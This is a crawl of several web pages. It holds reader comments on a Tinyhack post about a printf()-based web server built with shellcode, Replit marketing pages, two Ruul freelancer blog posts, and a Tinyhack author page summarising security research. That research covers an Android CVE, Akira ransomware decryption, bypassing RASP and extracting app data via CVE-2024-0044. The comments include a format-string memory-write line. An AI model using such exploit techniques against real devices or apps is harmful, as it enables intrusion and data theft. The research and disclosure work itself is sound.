know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://replit.com/customers/batchdata | BatchData — Customer Story - Replit Agent Products Agent Design Database Publish Security Integrations Mobile For Work Teams Replit for teams to build together Enterprise Replit with Enterprise-grade security & controls Use Cases Business Apps Rapid Prototyping Roles Enterprise PM Designers Operations Software Developers Small Businesses SMB owners Founders Resources Get Started Docs Community Expert Network Inspiration Customer Stories Gallery Blog News Pricing Careers Agent Contact sales Log in Sign up Products For Work Resources Pricing Careers Contact sales Log in Start building How BatchData's Chief Growth Officer built enterprise-grade tools in hours, not months Three impressive enterprise solutions collectively save his company tens of thousands of dollars annually. $62,000+ annual savings $30 to create prototype 1 hour to create a working mvp $62,000+ annual savings $30 to create prototype 1 hour to create a working mvp "I tried other app builders…they were a lot more rigid… to figure out databases and how it's going to look. Replit gets you from 0-1 in breakneck speed… If I went to my developer and said, make this, it would probably take him a week of his time. I did it in an hour or two." Preston Zeller Chief Growth Officer, BatchData Overview Preston Zeller , Chief Growth Officer of BatchData , exemplifies how business leaders can leverage Replit to build enterprise-grade solutions that would traditionally require significant development resources and budget. Over the course of several months, Preston created three impressive applications that collectively save his company tens of thousands of dollars annually: A full-featured CPQ system with authentication, role-based permissions, custom product SKUs, and automated approval workflows — functionality that would easily cost $50,000+/year if purchased from vendors like Salesforce or Conga. A social listening platform that replaces $12,000+/year enterprise solutions for just $30 in build costs Professional real estate calculators that would have taken his developer a week to build, completed in 1-2 hours But Preston's journey to these remarkable results began with familiar operational challenges that were slowing down BatchData's innovation. The challenge BatchData , a real estate data and technology company in the PropTech space, faced several operational challenges. As Chief Growth Officer overseeing sales, marketing, and revenue operations, Preston Zeller identified three critical pain points: Complex quote generation : Their sales team was struggling with an antiquated quoting process for custom API products and data delivery. "Our sales guys are often really stuck in looking at this huge data dictionary, deciphering what they might need," Preston explained. "There has to be a better way." Developer resource constraints : With limited development resources, Preston needed a way to build solutions without distracting his technical team from core product work. Choosing Replit Preston had experimented with other app builders but found them too rigid. "It needed to be more malleable versus like, OK, I need a database and then I need to figure out how it's going to look." Replit stood out for several key reasons: Full-stack simplicity : "The full stack and deploy feature, database feature, and all that kind of being wrapped into one, which is a missing component of some of the other ones" Speed to market : "Speed and efficiency is of high value. If I can create something that is guided by a good idea and refine it in a shorter period of time, why not?" Development flexibility : The ability to iterate quickly without complex integrations or lengthy development cycles Building with Replit Preston built three major applications that transformed Batch Data's operations: 1. Enterprise CPQ (Configure Price Quote) system A fully-featured quote generation platform with: Complex product configuration for tiered subscription packages Multi-stage approval workflows with Slack notifications Client management and user permissions Custom pricing logic for bulk data and per-record pricing Professional PDF quote generation with company branding 2. Real estate investment calculators suite A collection of professional-grade calculators including DSCR, fix-and-flip, and ROI calculators with PDF export functionality, tooltips for technical terms, and color-coded results based on performance brackets. 3. Social Pulse — AI-powered social listening tool A comprehensive social monitoring system that tracks competitor mentions across Reddit, YouTube, and Twitter, with intelligent filtering by subreddit and keyword targeting. The tool pushes notifications directly to Slack and includes sentiment analysis. Value realized The impact is substantial: 💰 Massive cost savings CPQ system: $250 total build cost vs $50,000+/year enterprise solutions = $50K+ annual savings Social listening: $30/month vs $1,000+/month enterprise tools = $12K+ annual savings ⚡ Dramatic time savings Sales team efficiency: Streamlined quote generation eliminates hours of manual work per quote Real estate calculators: Built in 1—2 hours vs 1 week of developer time 🎯 Get more value with exactly what you need "Building these tools in Replit allows for flexibility to work specifically for our organization while not overpaying for features we'll never use due to being locked in by vendors' rigid pricing and packaging." Preston built exactly what his team needed without paying for enterprise bloat. 🚀 Competitive advantage The social listening tool enables proactive competitor engagement, while the CPQ system provides professional quotes that close deals faster. Looking forward Preston sees Replit as enabling a fundamental shift in how organizations operate: "Everyone within organizations are either going to be overseeing technology chains that are working on their own, or you're going to be involved in creating and innovating those technologies." For BatchData , Replit has become the go-to platform for rapid innovation, allowing them to build custom solutions that give them a competitive edge while keeping costs minimal and iteration cycles fast. About BatchData BatchData is a real estate data and technology company in the PropTech space, providing custom API products and data delivery solutions to real estate professionals and investors. Handy Links About us Vibe Coding 101 Help How to guides Import from GitHub Status Additional resources Brand kit Partnerships Legal Terms of service Commercial agreement Privacy Subprocessors DPA Report abuse Connect X / Twitter Tiktok Facebook Instagram Linkedin Scroll to top All rights reserved. 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https://ruul.io/blog/best-payment-methods-and-gateways-for-freelancers#$%7Bid%7D | Freelancer Guide: Choosing the Best Payment Methods and Gateways Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up get paid Best Payment Methods and Gateways for Freelancers Struggling with payment options? Discover our guide to the best payment methods for freelancers. Find out which easy and reliable way to get paid. Esen Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Selecting the best payment method or gateway for freelance workers can be challenging due to the numerous options available. This article will assist freelancers negotiate the best payment methods and gateways so they may get paid on time and with least effort. Here, we will look at the best payment method for freelancers as well as the easiest freelance payment methods . Direct Bank Transfers One of the first payment methods for freelancers is a classic one. It might be the best payment gateway for freelancers , but there are drawbacks for sure. One dependable and extensively utilized way to be paid is direct bank transfers. Their security and simplicity make them especially preferred. By use of a bank transfer, a customer pays you straight from their bank account to yours, therefore removing the middlemen. Although this is an easy approach, international transfers may take several days to handle. Since their usually minimal costs make bank transfers ideal for bigger payments. Arranging a bank transfer means you must provide your customer your account number and routing number, among other bank information. Verifying these facts allows you to avoid any errors that can create delays in your pay-back. For overseas clients, you might have to submit additional information such as IBAN or your SWIFT/BIC code. Direct bank transfers remain a good choice even with processing time for independent contractors who appreciate reliability and security. PayPal If you ask how do I invoice as a freelancer , PayPal is one option. PayPal is among the most widely used payment channels among freelancers as it is worldwide accessible and user-friendly. It enables international freelancers to send and receive money from anywhere in the world. Starting a PayPal account is quick; once it's set up, you might start being paid almost immediately. Offering customers choices, they could pay you using credit card, bank account, PayPal balance. PayPal offers buyer and seller protection, therefore offering yet more security. One disadvantage of the expenditures related to payment is Over time, PayPal charges a predetermined fee plus a percentage of the transaction amount, which may mount up. Still, many freelancers go with it because of its simplicity and global appeal. Payoneer So what payment system do freelancers use? Here’s another option. Another great payment option accessible to freelancers—especially those who deal with customers abroad—is payoneer. It pays in many currencies and enables you to withdraw money to your local bank account. Payoneer is well-known for its less costs than conventional bank transfers and fair rates of currency. Payoneer distinguishes itself mainly with their prepaid Mastercard. This card allows you access to your money straight immediately, make purchases online and in-store, and withdraw cash from ATMs all around. If you need your money right now, this might be rather handy. Payoneer also interacts with multiple freelancing markets, allowing one to easily handle payments from several sites all in one location. Stripe Popular payment portal Stripe provides freelancers with a lot of tools. Those that have to make payments online and have their own websites especially find it appealing. Stripe allows you to handle credit card payments straight on your website, therefore providing your customers with the ideal experience. For overseas freelancers, Stripe offers several currencies and is really easy to start up. Stripe's open pricing strategy is one of their strongest points. Every transaction you pay a certain percentage; there are no hidden costs. Stripe also provides sophisticated tools such as regular invoicing should you have customers using retainer or subscription services. Its strong security systems guarantee proper and secure interactions. Wise (formerly TransferWise) Frequented among freelancers with worldwide clientele, Wise is a payment system designed for transnational transactions. Usually much superior than those given by banks, it offers some of the greatest exchange rates in the business. For freelancers trying to optimize their income, Wise's cheap costs and clear pricing appeal. But firstly you have to check if Wise is legal in your country or not. Payment with Crypto What payment method do freelancers use ? Well, some use cryptocurrencies. As digital currencies become increasingly popular, more independent contractors are investigating crypto payout . Bitcoin, Ethereum, and other cryptocurrencies provide a distributed approach to pay for which more control over your money. Usually quick, transactions provide for cheaper rates than more conventional payment methods—especially for foreign payments. One does have some difficulties using cryptocurrency. Digital currencies have somewhat erratic value, which might influence the worth of your income. Moreover, knowing how to safely keep and handle your bitcoin helps you to prevent hazards such as hacking. Still, this payment option might have special benefits for tech-savvy freelancers and those dealing with customers in the bitcoin field. Ruul: Complete Solution Ruul is a great choice for freelancers seeking a complete solution to handle their money. It is perhaps the best payment processor for freelancers . Designed especially for independent contractors, Ruul provides a suite of tools to streamline payment processing. The system lets you quickly and effortlessly produce professional invoices and enables invoicing customers worldwide in many currencies. One of the top freelance payment portals , Ruul gives you the freedom of method. Ruul stands out mostly for its adaptability in taking payments. The platform covers both more modern currencies and conventional—bank transfers—your chosen method. This flexibility ensures that, free from payment limits, you might work with clients anywhere in the world. Ruul also provides useful tools and resources catered to freelancers' demands that help you to monitor your income and guarantee timely payments. Conclusion There is no clear response if you question which payment gateway is best for freelancers . The optimal payment option and gateway for your freelancing company will rely on your particular requirements and the type of your job. There is a solution fit for your situation. Whether your key concerns are security of bank transfers, PayPal's international reach, Payoneer's simplicity, Stripe's complex features, Wise's cheap pricing, or bitcoin innovation. Selecting the right payment method will assist you to ensure fast and secure payment, therefore allowing you to focus on your strongest suit—providing your clients with first-rate services. ABOUT THE AUTHOR Esen Bulut Esen Bulut is the co-founder of Ruul. After graduating Boston College with finance and economics degrees, she began her career as a Finance Executive. Prior to Ruul, she held managerial positions in finance and marketing. Esen's entrepreneurship success earned her recognition in Fortune's 40 under 40 list in 2022. More 8 tips for solo talents to stay healthy and happy Prioritizing your mental and physical health is crucial for freelancers. Read on for tips on scheduling work, having a dedicated workspace, and taking care of your body. Read more Do Freelancers Need to Hire an Expert for Taxes? Managing taxes as a freelancer can be challenging due to changing laws. Read our article to find out if you need a tax expert to fulfill your financial obligations! Read more 8 steps to create your freelance copywriting portfolio Learn how to create a freelance portfolio that sets you apart from the competition and lands you more projects. Read our guide now! Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. 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https://replit.com/products/agent | Agent - Replit Agent Products Agent Design Database Publish Security Integrations Mobile For Work Teams Replit for teams to build together Enterprise Replit with Enterprise-grade security & controls Use Cases Business Apps Rapid Prototyping Roles Enterprise PM Designers Operations Software Developers Small Businesses SMB owners Founders Resources Get Started Docs Community Expert Network Inspiration Customer Stories Gallery Blog News Pricing Careers Agent Contact sales Log in Sign up Products For Work Resources Pricing Careers Contact sales Log in Start building The best Agent for building Production-Ready apps Tell Replit Agent your app or website idea, and it will build it for you automatically. It’s like having an entire team of software engineers on demand, ready to build what you need — all through a simple chat. No coding experience needed. Get started free Build & refine your app with Agent Start by telling the Replit Agent what kind of app or site you want to build. Then, keep improving it by giving the Agent feedback. Agent automatically searches the Web as needed to ensure it has access to the latest information to fulfill your request For more complex tasks, turn on advanced options like Extended Thinking and High-Power Models . Activate Extended Thinking & High Power models for more complex tasks For more open-ended or complex requests such as performance optimizations, design overhauls etc., activate more advanced capabilities Integrate securely with built-in services like Database and Auth, plus third-party tools Easily connect with our in-built Database and User authentication or third-party services like Stripe, Open AI and more — your keys stay secure and your integrations stay seamless. Agent tests its own work so you dont have to Agent tests and fixes its code , constantly improving your application behind the scenes in a reflection loop. While building your app, Agent will now periodically test it using a browser, generating a report and fixing the issues it finds. Our proprietary testing system is 3x faster and 10x more cost effective than Computer Use Models. Build Agents & Automations Agent can build other agents and create workflows . That means you can automate complex and repetitive workflows using natural language to increase your efficiency and productivity. You can interact with the agent you built by integrating it with your apps like Slack or email. Get inspired by our community [...] Replit feels like the perfect combination of just enough access to technical details/coding/deployment in addition to being insanely fast and outputting beautiful design” — Andrew Wilkinson Co-founder of Tiny (35+ companies) I asked Replit to clone LinkedIn” — just to see how far it would get with a single prompt. The result? A surprisingly functional prototype. It’s a powerful reminder with the right framing, today’s AI tools can turn a single idea into working software” — Reid Hoffman Co-Founder, LinkedIn I tried other app builders…they were a lot more rigid…to figure out databases and how it's going to look. Replit gets you from 0-1 in breakneck speed… If I went to my developer and said, make this, it would probably take him a week of his time.” — Preston Zeller Chief Growth Officer, BatchData What’s the Replit agent? Find out in 60 seconds What are you waiting for? Get Started free Handy Links About us Vibe Coding 101 Help How to guides Import from GitHub Status Additional resources Brand kit Partnerships Legal Terms of service Commercial agreement Privacy Subprocessors DPA Report abuse Connect X / Twitter Tiktok Facebook Instagram Linkedin Scroll to top All rights reserved. Copyright © 2026 Replit, Inc. | 2026-01-13T08:47:54 |
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https://ruul.io/blog/how-to-set-up-the-perfect-workspace-for-freelancing#$%7Bid%7D | How to set up the perfect workspace for freelancing - Ruul Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up work How to set up the perfect workspace for freelancing Learn how to create the ultimate freelancer's remote workspace. Follow our step-by-step guide to build a comfortable and efficient home office. Esen Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points If you’re a freelancer who works remotely, then you know how important the place where you work can be. If you’re in an uncomfortable or unprofessional setting, you might not be able to organize your time as effectively; crucial deadlines can creep up on you before your work is completed.To be the ultimate freelancer, you need to have the ultimate freelancing working environment. You need an ergonomic, practical, and efficient space with all the tools you need to perform your work. An ideal freelancing remote workspace will be comfortable, space-conscious, and intuitive so that it can be a catalyst to your success as opposed to an obstacle.In this how-to guide, we will discuss the fundamental parts of every freelancer’s home office step-by-step. By the time you finish reading, you’ll have a clear outline of how to build the ideal workspace for your freelancing career. Step 1: Find the right space The place where you work needs to be quiet and separate from your place of leisure. An unnecessary distraction like a TV or a screaming child makes it challenging to focus on your work and easier to waste time.Try to find a section of your house or apartment that is separated from all of these things. The ideal workspace is an extra room, but those who work from smaller flats and places with lots of clutter(with little open space) might not have that luxury.For these people, we recommend setting up a divider around your desk or a sectional curtain to create at least some physical separation between your living and work environment. Even something as simple as a desk in the corn can help. With two walls ahead of you, the only way for you to get distracted is if you turn around.The reason your desk should be separated from your place of leisure is purely about focus and productivity. Our brains associate our couch and our beds with relaxation, so any time spent working there won’t be as fast or focused as a desk and a chair. You might even consider a space with a standing desk without a chair taking up extra room.This transition (while it might be as simple as walking across the room) will also help you get into a ready-for-work headspace. While most people hate their commute , it can give you time for shifting from a personal to a professional perspective. Pro Tip: If you think there is no safe work area in your house, you can always try a coworking space. Co-working spaces are becoming more popular than ever with the rise of remote work, and they can be very affordable and convenient if they’re near to where you live.You can also try an audio separation. Get a pair of noise-canceling headphones, play your favorite music, or listen to some ambiance/white noise to help move you into a private mental space. Step 2: Equip your space The equipment you work with will play a vital role in how you work. While it might seem cost-effective to get the cheapest products you can find, you’ll quickly discover that the mental and physical health impact outweighs the pennies you’ll be saving.If you plan to work as a freelance remote worker for the foreseeable future, then you should emphasize the quality of your equipment. A wrong office chair or desk can put tremendous strain on your spine and back muscles. Over time your posture will suffer, and you can be susceptible to chronic pain.As a freelancer, you’ll need to equip your own office space, so it makes sense to understand a little about ergonomics. Ergonomics is an industry based around creating comfortable office furniture and practices that won’t hurt your health in the long run. A fully ergonomic workspace for freelance will include the necessary hardware: a mouse, keyboard, and a monitor. Having a desk with a keyboard tray can also help.Easy-to-follow rules like keeping the top of your monitor in line with your eyes and your hand positioned above your keyboard will save you from discomfort and make you more satisfied while working.You also have to consider how you mentally view your home office. Since this place is also your home, you’ll be spending almost all of your time there. If you know your workstation is uncomfortable, think about what will happen to your motivation to work. Freelancers are responsible for their motivation. Beyond a deadline, you will be the one who puts your butt in the chair and says, “get to work!” Because of this responsibility, we have to take any advantage we can to maintain our self-motivation. Pro Tip: If money is blocking your path to the ideal freelancing home office, then Growrk.com might be able to help. They have an extensive range of equipment, all of which are purchasable through a subscription plan.You shouldn’t let a big price tag prevent you from being comfortable and working efficiently. If you feel you need an extra monitor or a drawing pad, then you shouldn’t wait until you’ve saved enough for it. Instead, sign up with GroWrk, and you will get all your furniture right away and can pay it off over time through your monthly budget. Step 3: Find your necessary tools The software you employ as a freelancer will be your connection to your clients, your means to operate, and the source of your organization. It’s essential to find the top companies on the market that can progress your freelancing career and make your life easier.For a communication tool, you’ll need an application that is reliable and can handle all your needs in one place. An application like Microsoft Teams which has email, video calling, instant messaging, and task management capabilities, is excellent for a freelancer who has multiple clients and assignments to keep track of.Whatever software you choose for production should have cloud functionality. Whether you’re a freelance graphic designer or a freelance writer, it pays to have your work easily accessible for the client, so they can quickly approve or collaborate with you. Having to attach projects to an email is an extra step that costs a lot of time and will slow your progress as you wait for a response.We’ll talk more about this in the following step, but make sure you choose a calendar and a task management software that clearly labeled your tasks and is easily understood. It should also have different categories for group and independent work, primarily if your client uses multiple freelancers through the same portal. Pro Tip: One software that will help with your freelance business is Ruul.com. They are a one-stop shop for freelancers who want to run their own professional business. With their service, you can invoice your clients, get paid instantly, and secure your work from hackers and bad clients.If Ruul is handling the business side you will also want a solution to handle the equipment side . Nothing is more time-consuming than going through hundreds of products on Amazon trying to find the right desks or laptops for your business. Even worse is trying to figure how to get the tools delivered to your location without insane shipping fees. That is why there are services like GroWrk remote . You can choose from a wide selection of laptops, monitors, and ergonomic furniture delivered to anywhere in the world. Best of all, you can pay in 6-12 month installments!Also, try to focus on learning and downloading software that is the industry standard. Free and cheaper versions of elaborate software like Premier ( Filmora) and Photoshop (Photopea) may seem effective. Still, they will put you at a competitive disadvantage to freelancers already using the industry-standard software. Wrap Up The key to setting up the perfect workplace for freelancing is investing the necessary time and money. It can be tempting to set up your space and start working as soon as possible, but the best freelancers ignore that temptation.Once you have a comfortable workspace with everything you need to function, your satisfaction will speak for itself. You will finally be able to focus on your task at hand. You will look forward to starting your day. ABOUT THE AUTHOR Esen Bulut Esen Bulut is the co-founder of Ruul. After graduating Boston College with finance and economics degrees, she began her career as a Finance Executive. Prior to Ruul, she held managerial positions in finance and marketing. Esen's entrepreneurship success earned her recognition in Fortune's 40 under 40 list in 2022. More When and how to ask for payment upfront as a freelancer Take a look at why you should ask for payment upfront, how to go about doing it, and different options you can pursue when it comes to getting paid. Read more How Freelancers Use Link-in-Bio Tools to Sell and Get Paid Turn your social profile into a service-selling machine. Learn how freelancers use link-in-bio tools like Ruul Space to boost conversions, accept global payments, and get paid faster. Read more Tax Tips for Freelancers: How to Maximize Your Savings Read on to discover essential tax tips for freelancers and learn how to maximize your savings through strategic tax planning. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. 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https://tinyhack.com/author/admin/ | admin – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Author: admin CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Intel® Instrumentation and Tracing Technology (ITT) is a profiling API that developers use to analyze performance. The ITT library is available for many platforms. It used by many Android applications, either directly, or indirectly (e.g: via precompiled OpenCV library for Android officially downloaded from OpenCV website). Intel advisory is here: https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01337.html A bug was found that allows ITT to load arbitrary shared library. This shared library can do anything (executing arbitrary code, exfiltrating data, etc). Fortunately the exploitation is not that easy (requires adb access either via PC or Shizuku app, so remote exploitation should not be possible). POC is available on my github, but read on to understand this bug. OpenCV copies all ITT API files verbatim to their 3rdparty/ittnotify directory. ITT is always built for Android platform (can’t be disabled via CMake config): OCV_OPTION(BUILD_ITT "Build Intel ITT from source" (NOT MINGW OR OPENCV_FORCE_3RDPARTY_BUILD) IF (X86_64 OR X86 OR ARM OR AARCH64 OR PPC64 OR PPC64LE) AND NOT WINRT AND NOT APPLE_FRAMEWORK ) Any Android application using OpenCV up until 4.10 is affected, 4.11 and later are safe. There is no warning about this CVE in OpenCV because they were released before this CVE was published and they have accidentally fixed the bug (see this ) because someone wants to support OpenBSD (“ 3rdparty/ittnotify had not been updated until 9 years. To support OpenBSD, I suggest to update to latest release version v3.25.4 “) Continue reading “CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10)” Author admin Posted on November 9, 2025 November 11, 2025 Categories android , mobile , reverse-engineering , security , writeup Tags include Leave a comment on CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs I recently helped a company recover their data from the Akira ransomware without paying the ransom. I’m sharing how I did it, along with the full source code. Update: since this article was written, a new version of Akira ransomware has appeared that can’t be decrypted with this method The code is here: https://github.com/yohanes/akira-bruteforce To clarify, multiple ransomware variants have been named Akira over the years, and several versions are currently circulating. The variant I encountered has been active from late 2023 to the present (the company was breached this year). There was an earlier version (before mid-2023) that contained a bug, allowing Avast to create a decryptor. However, once this was published, the attackers updated their encryption. I expect they will change their encryption again after I publish this. https://decoded.avast.io/threatresearch/decrypted-akira-ransomware You can find various Akira malware sample hashes at the following URL: https://github.com/rivitna/Malware/blob/main/Akira/Akira_samples.txt The sample that matches my client’s case is: bcae978c17bcddc0bf6419ae978e3471197801c36f73cff2fc88cecbe3d88d1a It is listed under the version: Linux V3 . The sample can be found on virus.exchange (just paste the hash to search). Note that the ransom message and the private/public keys will differ. We do this not because it is easy, but because we thought it would be easy I usually decline requests to assist with ransomware cases. However, when my friend showed me this particular case, a quick check made me think it was solvable. Continue reading “Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs” Author admin Posted on March 13, 2025 November 7, 2025 Categories hacks , reverse-engineering , security Tags define , Final 76 Comments on Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App If we installed an Android APK and we have a root access, we can modify the .so (native) filesof that app without altering the signature. This is true even if extractNativeLibs is set to false in AndroidManifest.xml . We can also patch the AOT compiled file (ODEX/VDEX) without changing the package signature, but that’s another story, I am just going to focus on the native code. native libraries are stored uncompressed and page aligned As a note: this is not a vulnerability, it requires root access. This method was discussed in the Mystique exploit presentation (2022). I just want to show that this is useful for pentest purpose, with an extra tip of how to write binary patch in C. Background I was doing a pentest on an Android app with a complex RASP. There are many challenges: If I unpack the APK file and repack it, it can detect the signature change If I use Frida, it can detect Frida in memory, even when I change the name using fridare It can detect Zygisk, so all injection methods that use Zygisk are detected It can detect hooks on any function, not just PLT. It seems that it is done by scanning the prologue of functions to see if it jumps to a location outside the binary; the app developer needs to call this check manually (this is quite an expensive operation), which is usually done before it performs some critical scenario. The RASP uses a native library, which is obfuscated Given enough time, I am sure it is possible to trace and patch everything, but we are time-limited, and I was only asked to check a specific functionality. When looking at that particular functionality, I can see that it is implemented natively in a non-obfuscated library. In this specific case, If I can patch the native code without altering the signature, I don’t need to deal with all the anti-frida, anti-hook, etc. Continue reading “Patching .so files of an installed Android App” Author admin Posted on November 18, 2024 February 12, 2025 Categories android , mobile , reverse-engineering Tags include 2 Comments on Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 I want to make a WhatsApp message backup from a non-rooted Android 12 Phone. A few years ago, I used Whatsapp-Chat-Exporter to convert the backup to HTML, but first, I had to extract the database from the phone. The method pointed out by Whatsapp-Chat-Exporter to extract from non-root has remained the same for many years: downgrade to an old version of WhatsApp that allows backup, then create an Android backup that contains the WhatsApp database. This doesn’t work for WhatsApp for Business because there was no version that allowed backup. Depending on your use case, you might be able to move WhatsApp to a new device that can be rooted and then extract the files there (very easy when you have root access). When looking at the new Zygote Bug by Meta Red Team X (CVE-2024-31317), I thought it could be used to perform backup extraction, but then I saw the previous entry on that blog (CVE-2024-0044), which is much easier to use (but only works in Android 12 and 13 that has not received Marh 2024 security update). CVE-2023-0044 This exploit can work for any non-system app, not just for extracting data from WhatsApp/WhatsApp business. For an expert, the explanation for the exploit is very obvious. I am writing here for end users or beginners who need a step-by-step guide to extracting their WA database. Continue reading “Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044” Author admin Posted on June 7, 2024 June 7, 2024 Categories android , mobile , security 9 Comments on Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter I developed a Zygisk module for rooted Android phones with Magisk (and Zygisk enabled). This module allows you to “reFlutter” your Flutter App at runtime, simplifying the testing and reverse engineering processes. If you don’t want to read the detail, the release is available at: https://github.com/yohanes/zygisk-reflutter Continue reading “Zygisk-based reFlutter” Author admin Posted on April 9, 2024 April 9, 2024 Categories android , mobile , reverse-engineering 1 Comment on Zygisk-based reFlutter Using U-Boot to extract Boot Image from Pritom P7 This is a guide to extract the boot image from a cheap Android tablet based on Allwinner A133 using U-Boot (accessed via UART). The original firmware was not found on the 